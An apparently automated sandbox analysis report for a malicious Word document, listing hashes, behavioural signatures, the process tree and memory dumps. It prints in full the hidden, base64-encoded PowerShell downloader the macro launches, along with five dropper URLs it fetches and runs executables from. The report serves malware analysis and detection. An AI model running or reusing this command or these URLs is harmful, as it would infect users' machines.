Analysis

  • max time kernel
    53s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 21:55

General

  • Target

    770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc

  • Size

    196KB

  • MD5

    8005aa4c5d3141a693e485497dc2a030

  • SHA1

    bd5dd9c9f58aae41bbf0c3d48abf3bed2a22db6c

  • SHA256

    770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217

  • SHA512

    df13d8f639179e59bd3498f1c0fb1d5d8bbb284ba233953100ec4e63b42c8fdb17015fe50674ae4021a4f05e17699c1249c14006e9dfc5389cae076e6393c454

  • SSDEEP

    3072:Mu2y/GdyQktGDWLS0HZWD5w8K7Nk9oD7IBUv9Y9a1OnEabHeEHAWw:Mu2k42tGiL3HJk9oD7bMeEHAW

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\770bc2dc87b621f85a6850bae05db9bdeea5d2de0907d8f2700fd711b4a23217.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2624

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6D1C53B4.wmf

      Filesize

      444B

      MD5

      7726e852c7b5b2847d94dc2797fa4d75

      SHA1

      e2007ce11a27353dd2fe032173264cabeae5d892

      SHA256

      3fbe3f0cdd212b49d9aa797234ccf837feec21d9cdf6d04f328e57010fe5afdf

      SHA512

      f755bda66f4624ce6c8f504252fb5c27023fcf74df9bf625b209c6550e00aa6cb88ab9c00b3531e06b2b0b1555b95d880c68c8f1520f097c2bb4089371082d3f

    • memory/2624-32-0x0000000001E10000-0x0000000001E18000-memory.dmp

      Filesize

      32KB

    • memory/2624-31-0x000000001B7B0000-0x000000001BA92000-memory.dmp

      Filesize

      2.9MB

    • memory/2692-5-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

      Filesize

      1024KB

    • memory/2692-0-0x000000002FD91000-0x000000002FD92000-memory.dmp

      Filesize

      4KB

    • memory/2692-14-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/2692-21-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/2692-24-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/2692-25-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/2692-2-0x0000000070DED000-0x0000000070DF8000-memory.dmp

      Filesize

      44KB

    • memory/2692-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2692-35-0x0000000070DED000-0x0000000070DF8000-memory.dmp

      Filesize

      44KB

    • memory/2692-36-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

      Filesize

      1024KB

    • memory/2692-37-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB

    • memory/2692-38-0x0000000006200000-0x0000000006300000-memory.dmp

      Filesize

      1024KB